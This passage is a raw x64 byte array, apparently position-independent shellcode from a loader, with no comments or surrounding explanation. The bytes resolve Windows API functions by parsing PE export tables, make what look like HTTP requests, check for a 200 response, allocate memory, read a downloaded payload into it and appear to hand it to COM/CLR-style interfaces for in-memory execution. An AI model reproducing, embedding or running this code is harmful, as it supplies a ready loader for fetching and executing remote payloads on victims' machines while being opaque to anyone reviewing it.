0x44, 0x8b, 0x44, 0x24, 0x40, 0x4c, 0x8d, 0x4c, 0x24, 0x48, 0x8b, 0xd5,
0x48, 0x8b, 0xce, 0xff, 0x53, 0x60, 0x48, 0x8d, 0x93, 0x7c, 0x03, 0x00,
0x00, 0x48, 0x8b, 0xcf, 0xff, 0x53, 0x38, 0x48, 0x8b, 0xf0, 0x48, 0x85,
0xc0, 0x74, 0x50, 0x48, 0x8d, 0x0d, 0x8e, 0x17, 0x00, 0x00, 0x48, 0x8d,
0x2d, 0x7b, 0x17, 0x00, 0x00, 0x2b, 0xcd, 0x78, 0x3e, 0x8b, 0xf9, 0x4c,
0x8d, 0x4c, 0x24, 0x40, 0x8b, 0xd1, 0x41, 0xb8, 0x40, 0x00, 0x00, 0x00,
0x48, 0x8b, 0xc8, 0xff, 0x53, 0x60, 0x85, 0xc0, 0x74, 0x25, 0x44, 0x8b,
0xc7, 0x48, 0x8b, 0xd5, 0x48, 0x8b, 0xce, 0xe8, 0x84, 0x1a, 0x00, 0x00,
0x44, 0x8b, 0x44, 0x24, 0x40, 0x4c, 0x8d, 0x4c, 0x24, 0x48, 0x8b, 0xd7,
0x48, 0x8b, 0xce, 0xff, 0x53, 0x60, 0xe9, 0x24, 0xff, 0xff, 0xff, 0x33,
0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x8b, 0x6c, 0x24, 0x58, 0x48,
0x83, 0xc4, 0x20, 0x41, 0x5e, 0x5f, 0x5e, 0xc3, 0x40, 0x55, 0x53, 0x56,
0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0xac,
0x24, 0x48, 0xfe, 0xff, 0xff, 0x48, 0x81, 0xec, 0xb8, 0x02, 0x00, 0x00,
0x83, 0xa5, 0x08, 0x02, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xf9, 0x45, 0x33,
0xf6, 0x48, 0x8d, 0x4c, 0x24, 0x40, 0x33, 0xd2, 0xbe, 0x00, 0x02, 0x60,
0x84, 0x41, 0x8d, 0x5e, 0x68, 0x44, 0x8b, 0xc3, 0xe8, 0x37, 0x1a, 0x00,
0x00, 0x48, 0x8d, 0x45, 0xb0, 0x89, 0x5c, 0x24, 0x40, 0x48, 0x89, 0x44,
0x24, 0x58, 0x48, 0x8d, 0x8f, 0x20, 0x05, 0x00, 0x00, 0x48, 0x8d, 0x85,
0xb0, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x48, 0x89, 0x45, 0x88, 0x4c, 0x8d,
0x4c, 0x24, 0x40, 0xb8, 0x00, 0x01, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00,
0x00, 0x10, 0x89, 0x44, 0x24, 0x60, 0x89, 0x45, 0x90, 0xff, 0x97, 0xc8,
0x00, 0x00, 0x00, 0x33, 0xdb, 0x85, 0xc0, 0x0f, 0x84, 0x0d, 0x02, 0x00,
0x00, 0x83, 0x7c, 0x24, 0x54, 0x04, 0xb8, 0x00, 0x32, 0xe0, 0x84, 0x44,
0x8b, 0xe3, 0x89, 0x5c, 0x24, 0x20, 0x41, 0x0f, 0x94, 0xc4, 0x0f, 0x44,
0xf0, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x33, 0xc9, 0xff,
0x97, 0xd0, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xe8, 0x48, 0x85, 0xc0, 0x0f,
0x84, 0xd9, 0x01, 0x00, 0x00, 0x44, 0x0f, 0xb7, 0x44, 0x24, 0x64, 0x48,
0x8d, 0x55, 0xb0, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x45, 0x33, 0xc9, 0x89,
0x5c, 0x24, 0x30, 0x48, 0x8b, 0xc8, 0xc7, 0x44, 0x24, 0x28, 0x03, 0x00,
0x00, 0x00, 0x48, 0x89, 0x5c, 0x24, 0x20, 0xff, 0x97, 0xd8, 0x00, 0x00,
0x00, 0x4c, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x51, 0x01, 0x00,
0x00, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x48, 0x8d, 0x97, 0x20, 0x06, 0x00,
0x00, 0x89, 0x74, 0x24, 0x30, 0x4c, 0x8d, 0x85, 0xb0, 0x00, 0x00, 0x00,
0x48, 0x89, 0x5c, 0x24, 0x28, 0x45, 0x33, 0xc9, 0x48, 0x8b, 0xc8, 0x48,
0x89, 0x5c, 0x24, 0x20, 0xff, 0x97, 0xf8, 0x00, 0x00, 0x00, 0x48, 0x8b,
0xd8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x0f, 0x01, 0x00, 0x00, 0x45, 0x85,
0xe4, 0x74, 0x28, 0x0f, 0xba, 0xe6, 0x0c, 0x73, 0x22, 0x45, 0x8d, 0x4e,
0x04, 0xc7, 0x85, 0x10, 0x02, 0x00, 0x00, 0x80, 0x33, 0x00, 0x00, 0x4c,
0x8d, 0x85, 0x10, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xc8, 0x41, 0x8d, 0x56,
0x1f, 0xff, 0x97, 0xe0, 0x00, 0x00, 0x00, 0x45, 0x33, 0xe4, 0x45, 0x33,
0xc9, 0x45, 0x33, 0xc0, 0x44, 0x89, 0x64, 0x24, 0x20, 0x33, 0xd2, 0x48,
0x8b, 0xcb, 0xff, 0x97, 0x00, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84,
0xb8, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x8d, 0x00, 0x02, 0x00, 0x00, 0xc7,
0x85, 0x00, 0x02, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x85,
0x08, 0x02, 0x00, 0x00, 0x4c, 0x89, 0x64, 0x24, 0x20, 0xba, 0x13, 0x00,
0x00, 0x20, 0x48, 0x8b, 0xcb, 0xff, 0x97, 0x08, 0x01, 0x00, 0x00, 0x85,
0xc0, 0x0f, 0x84, 0x85, 0x00, 0x00, 0x00, 0x81, 0xbd, 0x08, 0x02, 0x00,
0x00, 0xc8, 0x00, 0x00, 0x00, 0x75, 0x79, 0x48, 0x8d, 0xb7, 0x50, 0x07,
0x00, 0x00, 0xc7, 0x85, 0x00, 0x02, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00,
0x4c, 0x8b, 0xc6, 0x4c, 0x89, 0x26, 0x4c, 0x8d, 0x8d, 0x00, 0x02, 0x00,
0x00, 0x4c, 0x89, 0x64, 0x24, 0x20, 0xba, 0x05, 0x00, 0x00, 0x20, 0x48,
0x8b, 0xcb, 0xff, 0x97, 0x08, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x44,
0x48, 0x8b, 0x16, 0x48, 0x85, 0xd2, 0x74, 0x3c, 0x33, 0xc9, 0x45, 0x8d,
0x4c, 0x24, 0x04, 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0xff, 0x57, 0x48,
0x48, 0x89, 0x87, 0x58, 0x07, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x20,
0x44, 0x8b, 0x06, 0x4c, 0x8d, 0x8d, 0x18, 0x02, 0x00, 0x00, 0x48, 0x8b,
0xd0, 0x44, 0x89, 0xa5, 0x18, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xff,
0x97, 0xe8, 0x00, 0x00, 0x00, 0x44, 0x8b, 0xf0, 0x48, 0x8b, 0xcb, 0xff,
0x97, 0xf0, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xcf, 0xff, 0x97, 0xf0, 0x00,
0x00, 0x00, 0x49, 0x8b, 0xcd, 0xff, 0x97, 0xf0, 0x00, 0x00, 0x00, 0x45,
0x85, 0xf6, 0x74, 0x3d, 0x48, 0x8b, 0x9f, 0x58, 0x07, 0x00, 0x00, 0x48,
0x8d, 0x97, 0x40, 0x07, 0x00, 0x00, 0x4c, 0x8b, 0x8f, 0x50, 0x07, 0x00,
0x00, 0x48, 0x8d, 0x8f, 0x30, 0x07, 0x00, 0x00, 0x4c, 0x8b, 0xc3, 0xe8,
0xb0, 0x16, 0x00, 0x00, 0x48, 0x8b, 0x57, 0x28, 0x48, 0x8d, 0x8f, 0x28,
0x06, 0x00, 0x00, 0xe8, 0x58, 0x15, 0x00, 0x00, 0x48, 0x3b, 0x83, 0x08,
0x19, 0x00, 0x00, 0x75, 0x05, 0x41, 0x8b, 0xc6, 0xeb, 0x02, 0x33, 0xc0,
0x48, 0x81, 0xc4, 0xb8, 0x02, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41,
0x5d, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0x5d, 0xc3, 0x48, 0x89, 0x5c, 0x24,
0x08, 0x4c, 0x89, 0x44, 0x24, 0x18, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41,
0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0xac, 0x24, 0xf0, 0xfe, 0xff,
0xff, 0x48, 0x81, 0xec, 0x10, 0x02, 0x00, 0x00, 0x4c, 0x63, 0x7a, 0x3c,
0x4d, 0x8b, 0xe9, 0x48, 0x8b, 0xda, 0x4c, 0x8b, 0xe1, 0x41, 0x8b, 0x84,
0x17, 0x88, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x95, 0x00, 0x00,
0x00, 0x48, 0x8d, 0x3c, 0x02, 0x8b, 0x77, 0x18, 0x85, 0xf6, 0x0f, 0x84,
0x86, 0x00, 0x00, 0x00, 0x8b, 0x47, 0x1c, 0x33, 0xc9, 0x44, 0x8b, 0x47,
0x0c, 0x48, 0x03, 0xc2, 0x48, 0x89, 0x44, 0x24, 0x30, 0x4c, 0x03, 0xc2,
0x8b, 0x47, 0x20, 0x48, 0x03, 0xc2, 0x48, 0x89, 0x85, 0x58, 0x01, 0x00,
0x00, 0x8b, 0x47, 0x24, 0x48, 0x03, 0xc2, 0x48, 0x89, 0x44, 0x24, 0x28,
0x41, 0x8a, 0x00, 0x84, 0xc0, 0x74, 0x14, 0x33, 0xd2, 0xff, 0xc1, 0x0c,
0x20, 0x88, 0x44, 0x15, 0x00, 0x8b, 0xd1, 0x42, 0x8a, 0x04, 0x01, 0x84,
0xc0, 0x75, 0xee, 0xc6, 0x44, 0x0d, 0x00, 0x00, 0x49, 0x8b, 0xd5, 0x48,
0x8d, 0x4d, 0x00, 0xe8, 0x8c, 0x14, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24,
0x20, 0x48, 0x8b, 0x85, 0x58, 0x01, 0x00, 0x00, 0xff, 0xce, 0x49, 0x8b,
0xd5, 0x8b, 0x0c, 0xb0, 0x48, 0x03, 0xcb, 0xe8, 0x70, 0x14, 0x00, 0x00,
0x48, 0x33, 0x44, 0x24, 0x20, 0x48, 0x3b, 0x85, 0x60, 0x01, 0x00, 0x00,
0x74, 0x21, 0x85, 0xf6, 0x75, 0xd7, 0x33, 0xc0, 0x48, 0x8b, 0x9c, 0x24,
0x50, 0x02, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x10, 0x02, 0x00, 0x00, 0x41,
0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0x5e, 0x5d, 0xc3, 0x48,
0x8b, 0x44, 0x24, 0x28, 0x48, 0x8b, 0x4c, 0x24, 0x30, 0x0f, 0xb7, 0x04,
0x70, 0x44, 0x8b, 0x04, 0x81, 0x4c, 0x03, 0xc3, 0x4c, 0x3b, 0xc7, 0x0f,
0x82, 0xaf, 0x00, 0x00, 0x00, 0x41, 0x8b, 0x84, 0x1f, 0x8c, 0x00, 0x00,
0x00, 0x48, 0x03, 0xc7, 0x4c, 0x3b, 0xc0, 0x0f, 0x83, 0x9b, 0x00, 0x00,
0x00, 0x33, 0xdb, 0x44, 0x8b, 0xcb, 0x41, 0x38, 0x18, 0x74, 0x21, 0x41,
0x83, 0xf9, 0x3c, 0x73, 0x1b, 0x41, 0x8b, 0xc9, 0x42, 0x8a, 0x04, 0x01,
0x88, 0x44, 0x0c, 0x40, 0x42, 0x80, 0x3c, 0x01, 0x2e, 0x74, 0x09, 0x41,
0xff, 0xc1, 0x43, 0x38, 0x1c, 0x01, 0x75, 0xdf, 0x41, 0x8d, 0x41, 0x01,
0x8b, 0xd0, 0xc6, 0x44, 0x04, 0x40, 0x64, 0x41, 0x8d, 0x41, 0x02, 0xc6,
0x44, 0x04, 0x40, 0x6c, 0x41, 0x8d, 0x41, 0x03, 0xc6, 0x44, 0x04, 0x40,
0x6c, 0x41, 0x8d, 0x41, 0x04, 0x4e, 0x8d, 0x0c, 0x02, 0x88, 0x5c, 0x04,
0x40, 0x8b, 0xd3, 0x41, 0x38, 0x19, 0x74, 0x17, 0x83, 0xfa, 0x7f, 0x73,
0x12, 0x8b, 0xca, 0xff, 0xc2, 0x42, 0x8a, 0x04, 0x09, 0x88, 0x44, 0x0d,
0x80, 0x42, 0x38, 0x1c, 0x0a, 0x75, 0xe9, 0x8b, 0xc2, 0x48, 0x8d, 0x4c,
0x24, 0x40, 0x88, 0x5c, 0x05, 0x80, 0x41, 0xff, 0x54, 0x24, 0x30, 0x48,
0x85, 0xc0, 0x74, 0x11, 0x48, 0x8d, 0x55, 0x80, 0x48, 0x8b, 0xc8, 0x41,
0xff, 0x54, 0x24, 0x38, 0x4c, 0x8b, 0xc0, 0xeb, 0x03, 0x4c, 0x8b, 0xc3,
0x49, 0x8b, 0xc0, 0xe9, 0x10, 0xff, 0xff, 0xff, 0x40, 0x53, 0x48, 0x83,
0xec, 0x20, 0x48, 0x8b, 0x4a, 0x30, 0x48, 0x8b, 0xda, 0x48, 0x85, 0xc9,
0x74, 0x0b, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x83, 0x63, 0x30,
0x00, 0x48, 0x8b, 0x4b, 0x38, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x48, 0x8b,
0x01, 0xff, 0x50, 0x10, 0x48, 0x83, 0x63, 0x38, 0x00, 0x48, 0x8b, 0x4b,
0x28, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10,
0x48, 0x83, 0x63, 0x28, 0x00, 0x48, 0x8b, 0x4b, 0x20, 0x48, 0x85, 0xc9,
0x74, 0x0b, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x83, 0x63, 0x20,
0x00, 0x48, 0x8b, 0x4b, 0x18, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x48, 0x8b,
0x01, 0xff, 0x50, 0x10, 0x48, 0x83, 0x63, 0x18, 0x00, 0x48, 0x8b, 0x4b,
0x10, 0x48, 0x85, 0xc9, 0x74, 0x15, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x58,
0x48, 0x8b, 0x4b, 0x10, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x83,
0x63, 0x10, 0x00, 0x48, 0x8b, 0x4b, 0x08, 0x48, 0x85, 0xc9, 0x74, 0x0b,
0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x83, 0x63, 0x08, 0x00, 0x48,
0x8b, 0x0b, 0x48, 0x85, 0xc9, 0x74, 0x0a, 0x48, 0x8b, 0x01, 0xff, 0x50,
0x10, 0x48, 0x83, 0x23, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc,
0xf0, 0xff, 0x41, 0x20, 0x8b, 0x41, 0x20, 0xc3, 0x48, 0x8b, 0x49, 0x10,
0x45, 0x8b, 0xd1, 0x4c, 0x8b, 0x4c, 0x24, 0x30, 0x49, 0x8b, 0xd0, 0x45,
0x8b, 0xc2, 0x48, 0x8b, 0x01, 0x48, 0xff, 0x60, 0x50, 0xcc, 0xcc, 0xcc,
0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b,
0xd9, 0x48, 0x8b, 0xf9, 0x4d, 0x85, 0xc9, 0x75, 0x07, 0xb8, 0x03, 0x40,
0x00, 0x80, 0xeb, 0x13, 0x48, 0x8b, 0x49, 0x10, 0x48, 0x8b, 0x01, 0xff,
0x50, 0x08, 0x48, 0x8b, 0x47, 0x10, 0x48, 0x89, 0x03, 0x33, 0xc0, 0x48,
0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc,
0x48, 0x85, 0xd2, 0x75, 0x06, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xc3, 0xc7,
0x02, 0x01, 0x00, 0x00, 0x00, 0x33, 0xc0, 0xc3, 0x48, 0x83, 0xec, 0x48,
0x48, 0x8b, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xd9, 0x48,
0x8b, 0x49, 0x10, 0x44, 0x8b, 0xc2, 0x44, 0x0f, 0xb7, 0x4c, 0x24, 0x70,
0x49, 0x8b, 0xd3, 0x48, 0x89, 0x44, 0x24, 0x38, 0x48, 0x8b, 0x84, 0x24,
0x88, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x11, 0x48, 0x89, 0x44, 0x24, 0x30,
0x48, 0x8b, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24,
0x28, 0x48, 0x8b, 0x44, 0x24, 0x78, 0x48, 0x89, 0x44, 0x24, 0x20, 0x41,
0xff, 0x52, 0x58, 0x48, 0x83, 0xc4, 0x48, 0xc3, 0x48, 0x89, 0x5c, 0x24,
0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48,
0x8b, 0x02, 0x48, 0x8b, 0xf9, 0x48, 0x8d, 0x0d, 0x08, 0x02, 0x00, 0x00,
0x48, 0x8b, 0xda, 0x48, 0x89, 0x08, 0x48, 0x8d, 0x0d, 0x0f, 0xff, 0xff,
0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x08, 0x48, 0x8d, 0x0d, 0x7d,
0x02, 0x00, 0x00, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x10, 0x48, 0x8d,
0x0d, 0x53, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x18,
0x48, 0x8d, 0x0d, 0x09, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89,
0x48, 0x20, 0x48, 0x8d, 0x0d, 0xdf, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x02,
0x48, 0x89, 0x48, 0x28, 0x48, 0x8d, 0x0d, 0x3d, 0xff, 0xff, 0xff, 0x48,
0x8b, 0x02, 0x48, 0x89, 0x48, 0x30, 0x48, 0x8d, 0x0d, 0xcb, 0xf5, 0xff,
0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x38, 0x48, 0x8d, 0x0d, 0x51,
0xf5, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x40, 0x48, 0x8d,
0x0d, 0x43, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x48,
0x48, 0x8d, 0x0d, 0x35, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89,
0x48, 0x50, 0x48, 0x8d, 0x0d, 0x27, 0xf5, 0xff, 0xff, 0x48, 0x8b, 0x02,
0x48, 0x89, 0x48, 0x58, 0x48, 0x8d, 0x0d, 0x19, 0xf5, 0xff, 0xff, 0x48,
0x8b, 0x02, 0x48, 0x89, 0x48, 0x60, 0x48, 0x8d, 0x0d, 0xc3, 0x01, 0x00,
0x00, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x68, 0x48, 0x8d, 0x0d, 0xfd,
0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x70, 0x48, 0x8d,
0x0d, 0xef, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x48, 0x78,
0x48, 0x8d, 0x0d, 0xe1, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89,
0x88, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xd0, 0xf4, 0xff, 0xff,
0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8d,
0x0d, 0xbf, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0x90,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xae, 0xf4, 0xff, 0xff, 0x48, 0x8b,
0x02, 0x48, 0x89, 0x88, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x9d,
0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0xa0, 0x00, 0x00,
0x00, 0x48, 0x8d, 0x0d, 0x8c, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48,
0x89, 0x88, 0xa8, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x7b, 0xf4, 0xff,
0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0xb0, 0x00, 0x00, 0x00, 0x48,
0x8d, 0x0d, 0x6a, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88,
0xb8, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x59, 0xf4, 0xff, 0xff, 0x48,
0x8b, 0x02, 0x48, 0x89, 0x88, 0xc0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d,
0x2c, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0xc8, 0x00,
0x00, 0x00, 0x48, 0x8b, 0x02, 0x48, 0x8d, 0x0d, 0x34, 0xf4, 0xff, 0xff,
0x48, 0x89, 0x88, 0xd0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x26, 0xf4,
0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0xd8, 0x00, 0x00, 0x00,
0x48, 0x8d, 0x0d, 0x15, 0xf4, 0xff, 0xff, 0x48, 0x8b, 0x02, 0x48, 0x89,
0x88, 0xe0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x04, 0xf4, 0xff, 0xff,
0x48, 0x8b, 0x02, 0x48, 0x89, 0x88, 0xe8, 0x00, 0x00, 0x00, 0x48, 0x8d,
0x8f, 0xdc, 0x03, 0x00, 0x00, 0x83, 0x62, 0x20, 0x00, 0x48, 0x89, 0x7a,
0x28, 0x48, 0x83, 0xc2, 0x08, 0xff, 0x97, 0xc0, 0x00, 0x00, 0x00, 0x85,
0xc0, 0x75, 0x15, 0x48, 0x8b, 0x4b, 0x08, 0x4c, 0x8d, 0x43, 0x10, 0x48,
0x8d, 0x97, 0x8c, 0x04, 0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x30,
0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, 0x83,
0xc4, 0x20, 0x5f, 0xc3, 0x4c, 0x8b, 0xc9, 0x4d, 0x85, 0xc0, 0x75, 0x06,
0xb8, 0x03, 0x40, 0x00, 0x80, 0xc3, 0x48, 0x8b, 0x49, 0x28, 0x48, 0x8b,
0x81, 0xfc, 0x03, 0x00, 0x00, 0x48, 0x3b, 0x02, 0x75, 0x0d, 0x48, 0x8b,
0x81, 0x04, 0x04, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08, 0x74, 0x32, 0x48,
0x8b, 0x81, 0x0c, 0x04, 0x00, 0x00, 0x48, 0x3b, 0x02, 0x75, 0x0d, 0x48,
0x8b, 0x81, 0x14, 0x04, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08, 0x74, 0x19,
0x48, 0x8b, 0x81, 0x8c, 0x04, 0x00, 0x00, 0x48, 0x3b, 0x02, 0x75, 0x13,
0x48, 0x8b, 0x81, 0x94, 0x04, 0x00, 0x00, 0x48, 0x3b, 0x42, 0x08, 0x75,
0x06, 0x4d, 0x89, 0x08, 0x33, 0xc0, 0xc3, 0x49, 0x83, 0x20, 0x00, 0xb8,
0x02, 0x40, 0x00, 0x80, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28,
0x48, 0x8b, 0x49, 0x18, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0xba, 0xfd,
0xff, 0xff, 0xff, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x70, 0x33, 0xc0, 0x48,
0x83, 0xc4, 0x28, 0xc3, 0x83, 0xc8, 0xff, 0xf0, 0x0f, 0xc1, 0x41, 0x20,
0xff, 0xc8, 0xc3, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x41, 0x28,
0x8b, 0xca, 0xff, 0x50, 0x68, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x28, 0xc3,
0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x6c, 0x24, 0x20, 0x56, 0x57,
0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x30, 0x33, 0xc0,
0x4c, 0x8d, 0xb9, 0x58, 0x07, 0x00, 0x00, 0x33, 0xed, 0x4c, 0x8b, 0xf2,
0x83, 0xb9, 0x1c, 0x05, 0x00, 0x00, 0x01, 0x48, 0x8b, 0xf1, 0x74, 0x03,
0x4d, 0x8b, 0x3f, 0x4c, 0x8b, 0x89, 0x18, 0x01, 0x00, 0x00, 0x4d, 0x85,
0xc9, 0x0f, 0x84, 0x99, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x91, 0x2c, 0x04,
0x00, 0x00, 0x4d, 0x8b, 0xc6, 0x48, 0x81, 0xc1, 0x1c, 0x04, 0x00, 0x00,
0x41, 0xff, 0xd1, 0x85, 0xc0, 0x78, 0x59, 0x49, 0x8b, 0x0e, 0x49, 0x8d,
0x5e, 0x08, 0x4c, 0x8d, 0x86, 0x3c, 0x04, 0x00, 0x00, 0x4c, 0x8b, 0xcb,
0x49, 0x8d, 0x57, 0x04, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x18, 0x85, 0xc0,
0x78, 0x35, 0x48, 0x8b, 0x0b, 0x48, 0x8d, 0x54, 0x24, 0x60, 0x48, 0x8b,
0x01, 0xff, 0x50, 0x50, 0x85, 0xc0, 0x78, 0x2f, 0x39, 0x6c, 0x24, 0x60,
0x74, 0x25, 0x48, 0x8b, 0x0b, 0x4d, 0x8d, 0x4e, 0x10, 0x4c, 0x8d, 0x86,
0x5c, 0x04, 0x00, 0x00, 0x48, 0x8d, 0x96, 0x4c, 0x04, 0x00, 0x00, 0x48,
0x8b, 0x01, 0xff, 0x50, 0x48, 0xeb, 0x08, 0x48, 0x21, 0x2b, 0xeb, 0x03,
0x49, 0x21, 0x2e, 0x85, 0xc0, 0x79, 0x30, 0x49, 0x8d, 0x46, 0x10, 0x33,
0xd2, 0x4c, 0x8d, 0x8e, 0x5c, 0x04, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24,
0x20, 0x4c, 0x8d, 0x86, 0x4c, 0x04, 0x00, 0x00, 0x33, 0xc9, 0xff, 0x96,
0x10, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x79, 0x0b, 0x49, 0x21, 0x6e, 0x10,
0x33, 0xc0, 0xe9, 0x0a, 0x01, 0x00, 0x00, 0x49, 0x8b, 0x4e, 0x10, 0x48,
0x8b, 0x01, 0xff, 0x50, 0x50, 0x85, 0xc0, 0x0f, 0x88, 0xf6, 0x00, 0x00,
0x00, 0x49, 0x8d, 0x8f, 0x04, 0x02, 0x00, 0x00, 0xff, 0x96, 0xb0, 0x00,
0x00, 0x00, 0x49, 0x8b, 0x4e, 0x10, 0x4d, 0x8d, 0x4e, 0x18, 0x45, 0x33,
0xc0, 0x48, 0x8b, 0xd0, 0x48, 0x8b, 0xf8, 0x4c, 0x8b, 0x11, 0x41, 0xff,
0x52, 0x60, 0x48, 0x8b, 0xcf, 0x8b, 0xd8, 0xff, 0x96, 0xb8, 0x00, 0x00,
0x00, 0x85, 0xdb, 0x0f, 0x88, 0xbe, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x4e,
0x18, 0x48, 0x8d, 0x96, 0x6c, 0x04, 0x00, 0x00, 0x4d, 0x8d, 0x46, 0x20,
0x48, 0x8b, 0x01, 0xff, 0x10, 0x85, 0xc0, 0x0f, 0x88, 0xa2, 0x00, 0x00,
0x00, 0x21, 0x6c, 0x24, 0x74, 0x4c, 0x8d, 0x44, 0x24, 0x70, 0x41, 0x8b,
0x87, 0x10, 0x19, 0x00, 0x00, 0xb9, 0x11, 0x00, 0x00, 0x00, 0x89, 0x44,
0x24, 0x70, 0x8d, 0x51, 0xf0, 0xff, 0x96, 0x80, 0x00, 0x00, 0x00, 0x48,
0x8b, 0xd8, 0x48, 0x85, 0xc0, 0x74, 0x78, 0x4c, 0x8b, 0x40, 0x10, 0x33,
0xd2, 0x49, 0x39, 0x97, 0x10, 0x19, 0x00, 0x00, 0x76, 0x1b, 0x33, 0xc9,
0x41, 0x8a, 0x84, 0x0f, 0x18, 0x19, 0x00, 0x00, 0xff, 0xc2, 0x42, 0x88,
0x04, 0x01, 0x8b, 0xca, 0x49, 0x3b, 0x8f, 0x10, 0x19, 0x00, 0x00, 0x72,
0xe7, 0x49, 0x8b, 0x4e, 0x20, 0x4d, 0x8d, 0x46, 0x28, 0x48, 0x8b, 0xd3,
